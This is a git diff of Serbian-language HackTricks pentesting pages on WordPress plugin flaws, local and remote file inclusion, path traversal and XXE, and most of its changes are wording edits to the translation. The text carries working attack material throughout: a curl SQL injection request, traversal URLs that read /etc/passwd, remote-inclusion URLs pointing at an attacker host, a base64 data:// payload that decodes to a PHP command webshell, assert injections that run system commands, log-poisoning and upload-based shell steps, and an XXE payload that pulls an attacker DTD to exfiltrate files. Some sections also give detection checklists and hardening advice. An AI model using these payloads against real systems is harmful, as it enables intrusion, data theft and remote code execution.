instalaciji. Brisanje `wp-config.php` prisiljava WordPress da uđe u *instalacioni čarobnjak* pri sledećem posetu, omogućavajući potpunu preuzimanje sajta (napadač samo unosi novu DB konfiguraciju i kreira admin korisnika). Ostali značajni ciljevi uključuju plugin/theme `.php` datoteke (da bi se prekinuli sigurnosni pluginovi) ili `.htaccess` pravila. -#### Lista za detekciju +#### Detekcijska lista * Bilo koji `add_action( 'wp_ajax_nopriv_...')` povratni poziv koji poziva pomoćne funkcije za datotečni sistem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.). * Konkatenacija nepročišćenog korisničkog unosa u putanje (tražite `$_POST`, `$_GET`, `$_REQUEST`). @@ -446,9 +446,9 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ ### Eskalacija privilegija putem zastare vraćanja uloge i nedostatka autorizacije (ASE "Pogledaj Admin kao Ulogu") -Mnogi dodaci implementiraju funkciju "pogledaj kao uloga" ili privremeno prebacivanje uloga tako što čuvaju originalne uloge u korisničkim metapodacima kako bi ih kasnije mogli vratiti. Ako putanja vraćanja zavisi samo od parametara zahteva (npr., `$_REQUEST['reset-for']`) i liste koju održava dodatak bez provere sposobnosti i važeće nonce, to postaje vertikalna eskalacija privilegija. +Mnogi dodaci implementiraju funkciju "pogledaj kao uloga" ili privremeno prebacivanje uloge tako što čuvaju originalne uloge u korisničkim metapodacima kako bi ih kasnije mogli vratiti. Ako putanja vraćanja zavisi samo od parametara zahteva (npr., `$_REQUEST['reset-for']`) i liste koju održava dodatak bez provere sposobnosti i važećeg nonce-a, to postaje vertikalna eskalacija privilegija. -Primer iz stvarnog sveta pronađen je u dodatku Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Grana resetovanja vraćala je uloge na osnovu `reset-for=` ako se korisničko ime pojavilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce pre nego što je uklonila trenutne uloge i ponovo dodala sačuvane uloge iz korisničkih metapodataka `_asenha_view_admin_as_original_roles`: +Primer iz stvarnog sveta pronađen je u dodatku Admin i Site Enhancements (ASE) (≤ 7.6.2.1). Grana resetovanja vraćala je uloge na osnovu `reset-for=` ako se korisničko ime pojavilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre nego što je uklonila trenutne uloge i ponovo dodala sačuvane uloge iz korisničkih metapodataka `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -466,13 +466,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } Zašto je podložan eksploataciji - Veruje `$_REQUEST['reset-for']` i opciji dodatka bez autorizacije na serverskoj strani. -- Ako je korisnik prethodno imao više privilegija sačuvanih u `_asenha_view_admin_as_original_roles` i bio snižen, može ih obnoviti tako što će pritisnuti putanju za resetovanje. +- Ako je korisnik prethodno imao više privilegije sačuvane u `_asenha_view_admin_as_original_roles` i bio je snižen, može ih obnoviti tako što će pritisnuti putanju za resetovanje. - U nekim implementacijama, svaki autentifikovani korisnik mogao bi pokrenuti resetovanje za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (pokidana autorizacija). Preduslovi za napad - Ranjava verzija dodatka sa omogućenom funkcijom. -- Ciljani nalog ima zastarelu ulogu sa visokim privilegijama sačuvanu u korisničkoj meti iz ranijeg korišćenja. +- Ciljni nalog ima zastarelu ulogu sa visokim privilegijama sačuvanu u korisničkoj meti iz ranijeg korišćenja. - Bilo koja autentifikovana sesija; nedostajući nonce/kapacitet u toku resetovanja. Eksploatacija (primer) @@ -490,7 +490,7 @@ Checklist za detekciju - Potražite funkcije za prebacivanje uloga koje čuvaju “originalne uloge” u korisničkoj meti (npr., `_asenha_view_admin_as_original_roles`). - Identifikujte putanje za resetovanje/obnavljanje koje: - Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`. -- Modifikuju uloge putem `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`. +- Menjaju uloge putem `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`. - Autorizuju na osnovu niza opcija dodatka (npr., `viewing_admin_as_role_are`) umesto na osnovu sposobnosti aktera. Ojačavanje @@ -531,7 +531,7 @@ Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**. - Uklonite podrazumevanog **admin** korisnika - Koristite **jake lozinke** i **2FA** - Periodično **proveravajte** dozvole korisnika -- **Ograničite pokušaje prijavljivanja** kako biste sprečili Brute Force napade +- **Ograničite pokušaje prijave** kako biste sprečili Brute Force napade - Preimenujte **`wp-admin.php`** datoteku i dozvolite pristup samo interno ili sa određenih IP adresa. ### Neautentifikovana SQL injekcija putem nedovoljne validacije (WP Job Portal <= 2.3.2) @@ -548,7 +548,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " ``` Issues introduced by this snippet: -1. **Nepročišćeni korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva. +1. **Nesanitizovani korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva. 2. **Konkatenacija stringova unutar WHERE klauzule** – nema `is_numeric()` / `esc_sql()` / pripremljene izjave. 3. **Neautentifikovana dostupnost** – iako se akcija izvršava putem `admin-post.php`, jedina provera koja postoji je **CSRF nonce** (`wp_verify_nonce()`), koji svaki posetilac može preuzeti sa javne stranice koja uključuje shortcode `[wpjobportal_my_resumes]`. @@ -569,9 +569,9 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ Odgovor otkriva rezultat injektovane upita ili menja bazu podataka, dokazujući SQLi. -### Neautentifikovano preuzimanje proizvoljnih fajlova / Putanja Traversal (WP Job Portal <= 2.3.2) +### Neautentifikovano preuzimanje proizvoljnih fajlova / Putanja prelaz (WP Job Portal <= 2.3.2) -Još jedan zadatak, **downloadcustomfile**, omogućio je posetiocima da preuzmu **bilo koji fajl na disku** putem putanje traversal. Ranjiva tačka se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`: +Još jedan zadatak, **downloadcustomfile**, omogućio je posetiocima da preuzmu **bilo koji fajl na disku** putem prelaza putanje. Ranjivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 5cd89994b..e50bc96c1 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -1,4 +1,4 @@ -# Uključivanje fajlova/Putanja prolaza +# Uključivanje fajlova/Putanja prolaz {{#include ../../banners/hacktricks-training.md}} @@ -13,7 +13,7 @@ Ranljive **PHP funkcije**: require, require_once, include, include_once Zanimljiv alat za iskorišćavanje ove ranjivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Blind - Zanimljivi - LFI2RCE fajlovi +## Blind - Zanimljivo - LFI2RCE fajlovi ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` @@ -53,7 +53,7 @@ Svi primeri su za Lokalnu Uključivanje Datoteka, ali se mogu primeniti i na Dal ``` http://example.com/index.php?page=../../../etc/passwd ``` -### sekvence prolaza uklonjene ne-rekurzivno +### sekvence prolaza uklonjene non-rekurzivno ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -82,11 +82,11 @@ Možda back-end proverava putanju fascikle: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Istraživanje direktorijuma fajl sistema na serveru +### Istraživanje direktorijuma datotečnog sistema na serveru -Fajl sistem servera može se istraživati rekurzivno kako bi se identifikovali direktorijumi, a ne samo fajlovi, korišćenjem određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja specifičnih foldera. Ispod je detaljna metoda za postizanje ovoga: +Datotečni sistem servera može se istraživati rekurzivno kako bi se identifikovali direktorijumi, a ne samo datoteke, primenom određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja specifičnih foldera. Ispod je detaljna metoda za postizanje ovoga: -1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma uspešnim preuzimanjem fajla `/etc/passwd` (primenljivo ako je server zasnovan na Linux-u). Primer URL-a može biti strukturiran na sledeći način, ukazujući na dubinu od tri: +1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma uspešnim preuzimanjem datoteke `/etc/passwd` (primenjivo ako je server zasnovan na Linux-u). Primer URL-a može biti strukturiran na sledeći način, ukazujući na dubinu od tri: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` @@ -111,7 +111,7 @@ U PHP-u, različite reprezentacije putanje datoteke mogu se smatrati ekvivalentn - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, i `/etc/passwd/` se svi tretiraju kao ista putanja. - Kada su poslednjih 6 karaktera `passwd`, dodavanje `/` (što ga čini `passwd/`) ne menja ciljanju datoteku. -- Slično, ako se `.php` doda putanji datoteke (kao što je `shellcode.php`), dodavanje `/.` na kraju neće promeniti datoteku koja se pristupa. +- Slično, ako se `.php` doda na putanju datoteke (kao `shellcode.php`), dodavanje `/.` na kraju neće promeniti datoteku koja se pristupa. Pruženi primeri pokazuju kako koristiti skraćivanje putanje za pristup `/etc/passwd`, uobičajenom cilju zbog svog osetljivog sadržaja (informacije o korisničkim računima): ``` @@ -129,7 +129,7 @@ U ovim scenarijima, broj potrebnih prolaza može biti oko 2027, ali ovaj broj mo - **Određivanje potrebnog broja prolaza**: Kroz pokušaje i greške, može se pronaći precizan broj `../` sekvenci potrebnih za navigaciju do root direktorijuma, a zatim do `/etc/passwd`, osiguravajući da su svi dodati stringovi (poput `.php`) neutralisani, ali da željeni put (`/etc/passwd`) ostane netaknut. - **Početak sa lažnim direktorijumom**: Uobičajena praksa je da se put započne sa nepostojećim direktorijumom (poput `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanje servera. -Kada se koriste tehnike skraćivanja putanja, ključno je razumeti ponašanje servera prilikom parsiranja putanja i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, a testiranje je često neophodno da bi se pronašla najefikasnija metoda. +Kada se koriste tehnike skraćivanja putanja, ključno je razumeti ponašanje servera prilikom parsiranja putanja i strukturu fajl sistema. Svaki scenario može zahtevati različit pristup, a testiranje je često neophodno da bi se pronašla najefikasnija metoda. **Ova ranjivost je ispravljena u PHP 5.3.** @@ -148,12 +148,12 @@ U php-u je ovo po defaultu onemogućeno jer je **`allow_url_include`** **Isklju http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Ako je iz nekog razloga **`allow_url_include`** **Uključeno**, ali PHP **filtrira** pristup spoljnim veb stranicama, [prema ovom postu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), mogli biste koristiti, na primer, data protokol sa base64 za dekodiranje b64 PHP koda i dobijanje RCE: +Ako je iz nekog razloga **`allow_url_include`** uključen, ali PHP **filtrira** pristup spoljnim veb stranicama, [prema ovom postu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete koristiti, na primer, data protokol sa base64 za dekodiranje b64 PHP koda i dobijanje RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> U prethodnom kodu, konačni `+.txt` je dodat jer je napadaču bila potrebna string koja se završava sa `.txt`, tako da se string završava tim i nakon b64 dekodiranja taj deo će vratiti samo smeće i pravi PHP kod će biti uključen (i stoga, izvršen). +> U prethodnom kodu, konačni `+.txt` je dodat jer je napadaču bila potrebna string koja se završava sa `.txt`, tako da se string završava tim i nakon b64 dekodiranja taj deo će vratiti samo smeće, a pravi PHP kod će biti uključen (i stoga, izvršen). Još jedan primer **koji ne koristi `php://` protokol** bio bi: ``` @@ -181,7 +181,7 @@ Izgleda da ako imate Path Traversal u Javi i **tražite direktorijum** umesto da ## Top 25 parametara -Evo liste od 25 najvažnijih parametara koji bi mogli biti podložni lokalnim ranjivostima uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Evo liste od 25 najvažnijih parametara koji bi mogli biti podložni ranjivostima lokalnog uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -229,7 +229,7 @@ PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego š - `convert.iconv.*` : Transformiše u drugačiju kodiranje (`convert.iconv..`). Da biste dobili **listu svih podržanih kodiranja**, pokrenite u konzoli: `iconv -l` > [!WARNING] -> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili pravljenje funkcije poput uključivanja procesa proizvoljnog teksta. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md). +> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili pravljenje funkcije kao što je uključivanje procesa proizvoljnog teksta. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Kompresuje sadržaj (korisno ako se exfiltrira puno informacija) @@ -240,7 +240,7 @@ PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego š - Ostali filteri - Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći nekoliko **neočekivanih filtera**: - `consumed` -- `dechunk`: obrće HTTP chunked kodiranje +- `dechunk`: obrće HTTP chunked encoding - `convert.*` ```php # String Filters @@ -281,11 +281,11 @@ U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzo - Ovo će se koristiti za generisanje **teksta toliko velikog kada je početno slovo tačno pogođeno** da će php izazvati **grešku**. - Filter **dechunk** će **ukloniti sve ako prvi karakter nije heksadecimalni**, tako da možemo znati da li je prvi karakter heks. - Ovo, u kombinaciji sa prethodnim (i drugim filtrima u zavisnosti od pogođenog slova), omogućiće nam da pogodimo slovo na početku teksta gledajući kada uradimo dovoljno transformacija da ga učinimo neheksadecimalnim karakterom. Jer ako je heks, dechunk ga neće obrisati i početna bomba će izazvati php grešku. -- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovih codec-a a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška je izazvana jer se množi sa početnom bombom. -- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druga slova kao što su n, o, p, q, r (i drugi codec-i se mogu koristiti za pomeranje drugih slova u heks opseg). +- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovog codec-a a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška se aktivira jer se množi sa početnom bombom. +- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druga slova kao što su n, o, p, q, r (i drugi codeci se mogu koristiti za pomeranje drugih slova u heks opseg). - Kada je početni karakter broj, potrebno je da se base64 kodira i eksfiltrira prva 2 slova da bi se otkrio broj. - Konačni problem je videti **kako eksfiltrirati više od početnog slova**. Korišćenjem filtera za redosled memorije kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druga slova teksta. -- I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta junk podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da bi se **pivotirali sa sledeća 2 bajta**, i **obrišemo podatke do junk podataka** (ovo će ukloniti prva 2 bajta inicijalnog teksta). Nastavite to da radite dok ne dođete do željenog bita za eksfiltraciju. +- I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta junk podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da ga **povežemo sa sledeća 2 bajta**, i **obrišemo podatke do junk podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to da radite dok ne dođete do željenog bita za eksfiltraciju. U postu je takođe otkriven alat za automatsko izvođenje ovoga: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). @@ -296,11 +296,11 @@ Ovaj omotač omogućava pristup deskriptorima fajlova koje proces ima otvorene. echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Možete takođe koristiti **php://stdin, php://stdout i php://stderr** za pristup **file descriptors 0, 1 i 2** respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu) +Možete takođe koristiti **php://stdin, php://stdout i php://stderr** za pristup **fajl deskriptorima 0, 1 i 2** respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu) ### zip:// i rar:// -Otpremite Zip ili Rar datoteku sa PHPShell unutar i pristupite joj.\ +Otpremite Zip ili Rar fajl sa PHPShell unutar i pristupite mu.\ Da biste mogli da zloupotrebite rar protokol, **mora biti posebno aktiviran**. ```bash echo "
" > payload.php; @@ -371,7 +371,7 @@ phar-deserialization.md ### CVE-2024-2961 Moglo je da se zloupotrebi **bilo koji proizvoljni fajl pročitan iz PHP-a koji podržava php filtere** da bi se dobio RCE. Detaljan opis može se [**naći u ovom postu**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Veoma kratak rezime: **3-bajtni overflow** u PHP heap-u je zloupotrebljen da bi se **izmenio lanac slobodnih chunk-ova** specifične veličine kako bi se moglo **pisati bilo šta na bilo kojoj adresi**, tako da je dodat hook za pozivanje **`system`**.\ +Veoma kratak rezime: **3-bajtni overflow** u PHP heap-u je zloupotrebljen da bi se **izmenio lanac slobodnih chunk-ova** specifične veličine kako bi se moglo **pisati bilo šta na bilo koju adresu**, tako da je dodat hook za pozivanje **`system`**.\ Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebljavajući više php filtera. ### More protocols @@ -389,7 +389,7 @@ Check more possible[ **protocols to include here**](https://www.php.net/manual/e ## LFI via PHP's 'assert' -Local File Inclusion (LFI) rizici u PHP-u su posebno visoki kada se radi sa funkcijom 'assert', koja može izvršiti kod unutar stringova. Ovo je posebno problematično ako se unos koji sadrži karaktere za prelazak direktorijuma kao što je ".." proverava, ali nije pravilno očišćen. +Local File Inclusion (LFI) rizici u PHP-u su posebno visoki kada se radi sa funkcijom 'assert', koja može izvršiti kod unutar stringova. Ovo je posebno problematično ako se unos koji sadrži karaktere za prelazak direktorijuma kao što je ".." proverava, ali se ne sanitizuje pravilno. For example, PHP code might be designed to prevent directory traversal like so: ```bash @@ -399,7 +399,7 @@ Dok ovo ima za cilj da zaustavi prolazak, nenamerno stvara vektor za injekciju k ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti: +Slično, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti: ```plaintext ' and die(system("id")) or ' ``` @@ -424,10 +424,10 @@ Za tehničke detalje proverite pomenuti post! ### Arbitrary File Write via Path Traversal (Webshell RCE) -Kada serverski kod koji unosi/otprema fajlove gradi odredišnu putanju koristeći podatke koje kontroliše korisnik (npr. naziv fajla ili URL) bez kanonizacije i validacije, `..` segmenti i apsolutne putanje mogu pobjeći iz predviđene direktorije i izazvati arbitrarnu pisanje fajla. Ako možete postaviti payload pod web-izloženu direktoriju, obično dobijate neautentifikovanu RCE tako što postavljate webshell. +Kada serverski kod koji unosi/otprema fajlove gradi odredišnu putanju koristeći podatke koje kontroliše korisnik (npr. ime fajla ili URL) bez kanonizacije i validacije, segmenti `..` i apsolutne putanje mogu pobjeći iz predviđene direktorije i izazvati arbitrarnu pisanje fajla. Ako možete postaviti payload pod web-izloženom direktorijom, obično dobijate neautentifikovanu RCE tako što postavljate webshell. Tipičan tok eksploatacije: -- Identifikujte write primitiv u endpoint-u ili pozadinskom radniku koji prihvata putanju/naziv fajla i piše sadržaj na disk (npr. unos vođen porukama, XML/JSON upravljači komandom, ZIP ektraktori, itd.). +- Identifikujte write primitiv u endpointu ili pozadinskom radniku koji prihvata putanju/ime fajla i piše sadržaj na disk (npr. unos vođen porukama, XML/JSON upravljači komandom, ZIP ekstraktori, itd.). - Odredite web-izložene direktorije. Uobičajeni primeri: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → postavite `shell.jsp` @@ -439,7 +439,7 @@ Napomene: - Ranjiva usluga koja vrši pisanje može slušati na ne-HTTP portu (npr. JMF XML slušalac na TCP 4004). Glavni web portal (drugi port) će kasnije poslužiti vaš payload. - Na Java stakovima, ova pisanja fajlova se često implementiraju jednostavnom `File`/`Paths` konkatenacijom. Nedostatak kanonizacije/whitelistinga je osnovna greška. -Generički XML/JMF primer (proizvodni šeme variraju – DOCTYPE/body omotač je nebitan za prelazak): +Generički XML/JMF-stil primer (proizvodni šeme variraju – DOCTYPE/body omotač je irelevantan za prelazak): ```xml @@ -463,26 +463,26 @@ in.transferTo(out);
``` -Hardening that defeats this class of bugs: -- Rezolvirati na kanonski put i osigurati da je podređen dozvoljenoj osnovnoj direktoriji. -- Odbaciti bilo koji put koji sadrži `..`, apsolutne korene ili slova drajva; preferirati generisane nazive datoteka. -- Pokrenuti pisca kao nalog sa niskim privilegijama i odvojiti direktorijume za pisanje od posluženih korena. +Hardening koji prevazilazi ovu klasu grešaka: +- Rešite na kanonski put i osigurajte da je potomak dozvoljenog osnovnog direktorijuma. +- Odbacite bilo koji put koji sadrži `..`, apsolutne korene ili slova drajva; preferirajte generisane nazive datoteka. +- Pokrenite pisca kao nalog sa niskim privilegijama i odvojite direktorijume za pisanje od posluženih korena. -## Remote File Inclusion +## Udaljeno uključivanje datoteka -Objašnjeno ranije, [**follow this link**](#remote-file-inclusion). +Objašnjeno ranije, [**pratite ovaj link**](#remote-file-inclusion). -### Via Apache/Nginx log file +### Putem Apache/Nginx log datoteke -Ako je Apache ili Nginx server **ranjiv na LFI** unutar funkcije uključivanja, možete pokušati da pristupite **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postaviti unutar **user agent** ili unutar **GET parametra** php shell kao **``** i uključiti tu datoteku. +Ako je Apache ili Nginx server **ranjiv na LFI** unutar funkcije uključivanja, možete pokušati da pristupite **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postavite unutar **user agent** ili unutar **GET parametra** php shell kao **``** i uključite tu datoteku. > [!WARNING] -> Imajte na umu da **ako koristite dvostruke navodnike** za shell umesto **jednostavnih navodnika**, dvostruki navodnici će biti modifikovani za string "_**quote;**_", **PHP će baciti grešku** tamo i **ništa drugo neće biti izvršeno**. +> Imajte na umu da **ako koristite dvostruke navodnike** za shell umesto **jednostavnih navodnika**, dvostruki navodnici će biti izmenjeni za string "_**quote;**_", **PHP će baciti grešku** tamo i **ništa drugo neće biti izvršeno**. > > Takođe, uverite se da **ispravno pišete payload** ili će PHP grešiti svaki put kada pokuša da učita log datoteku i nećete imati drugu priliku. -Ovo se takođe može uraditi u drugim logovima, ali **budite oprezni,** kod unutar logova može biti URL kodiran i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell može biti umetnut unutar ovog headera.\ -Ostali mogući putevi logova: +Ovo se takođe može uraditi u drugim logovima, ali **budite oprezni,** kod unutar logova može biti URL kodiran i to može uništiti Shell. Header **autorizacija "basic"** sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell može biti umetnut unutar ovog headera.\ +Ostali mogući putanje logova: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -494,7 +494,7 @@ Ostali mogući putevi logova: /var/log/nginx/error.log /var/log/httpd/error_log ``` -Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) +Fuzzing rečnik: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) ### Putem Email-a @@ -502,8 +502,8 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Putem /proc/\*/fd/\* -1. Učitajte mnogo shell-ova (na primer: 100) -2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute-forcovati) i $FD datoteka deskriptor (može se takođe brute-forcovati) +1. Učitajte puno shell-ova (na primer: 100) +2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute force-ovati) i $FD datoteka deskriptora (takođe može da se brute force-uje) ### Putem /proc/self/environ @@ -512,21 +512,21 @@ Kao log fajl, pošaljite payload u User-Agent, biće reflektovan unutar /proc/se GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Putem upload-a +### Via upload -Ako možete da otpremite fajl, jednostavno ubacite shell payload u njega (npr: ``). +Ako možete da otpremite datoteku, jednostavno ubacite shell payload u nju (npr: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` Da bi se datoteka održala čitljivom, najbolje je ubrizgati u metapodatke slika/doc/pdf -### Putem učitavanja Zip datoteke +### Putem učitavanja ZIP datoteke Učitajte ZIP datoteku koja sadrži PHP shell kompresovanu i pristupite: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Putem PHP sesija +### Via PHP sesije Proverite da li veb sajt koristi PHP sesiju (PHPSESSID) ``` @@ -552,7 +552,7 @@ Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc ### **Via** **vsftpd** _**logs**_ -Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji ranjivost Local File Inclusion (LFI), i gde je moguć pristup izloženom vsftpd serveru, sledeći koraci se mogu razmotriti: +Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji ranjivost Local File Inclusion (LFI), i gde je pristup izloženom vsftpd serveru moguć, sledeći koraci se mogu razmotriti: 1. Umetnite PHP payload u polje korisničkog imena tokom procesa prijavljivanja. 2. Nakon umetanja, iskoristite LFI da preuzmete server logove sa _**/var/log/vsftpd.log**_. diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index b0da4511c..165ef5d9d 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -121,20 +121,20 @@ Napadač hostuje ovaj zlonamerni DTD na serveru pod svojom kontrolom, obično na %xxe;]> 3;1 ``` -Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađen od strane XML parsera, ovaj payload preuzima spoljašnji DTD sa napadačevog servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zloćudnom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server. +Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađen od strane XML parsera, ovaj payload preuzima eksterni DTD sa napadačeve servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zlonamernom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server. -### Greška zasnovana (Spoljašnji DTD) +### Greška zasnovana (Eksterni DTD) -**U ovom slučaju ćemo naterati server da učita zloćudni DTD koji će prikazati sadržaj datoteke unutar poruke o grešci (ovo važi samo ako možete videti poruke o grešci).** [**Primer odavde.**](https://portswigger.net/web-security/xxe/blind) +**U ovom slučaju ćemo naterati server da učita zlonamerni DTD koji će prikazati sadržaj datoteke unutar poruke o grešci (ovo važi samo ako možete videti poruke o grešci).** [**Primer odavde.**](https://portswigger.net/web-security/xxe/blind) -Poruka o grešci prilikom parsiranja XML-a, koja otkriva sadržaj datoteke `/etc/passwd`, može biti izazvana korišćenjem zloćudnog spoljašnjeg Definicije tipa dokumenta (DTD). To se postiže kroz sledeće korake: +Poruka o grešci prilikom parsiranja XML-a, koja otkriva sadržaj datoteke `/etc/passwd`, može biti izazvana korišćenjem zlonamernog spoljnog Definicije tipa dokumenta (DTD). To se postiže kroz sledeće korake: -1. Definisan je XML parametarski entitet nazvan `file`, koji sadrži sadržaj datoteke `/etc/passwd`. -2. Definisan je XML parametarski entitet nazvan `eval`, koji uključuje dinamičku deklaraciju za drugi XML parametarski entitet nazvan `error`. Ovaj `error` entitet, kada se evaluira, pokušava da učita nepostojeću datoteku, uključujući sadržaj `file` entiteta kao svoje ime. +1. Definisan je XML parametarski entitet pod imenom `file`, koji sadrži sadržaj datoteke `/etc/passwd`. +2. Definisan je XML parametarski entitet pod imenom `eval`, koji uključuje dinamičku deklaraciju za drugi XML parametarski entitet pod imenom `error`. Ovaj `error` entitet, kada se evaluira, pokušava da učita nepostojeću datoteku, uključujući sadržaj `file` entiteta kao svoje ime. 3. `eval` entitet se 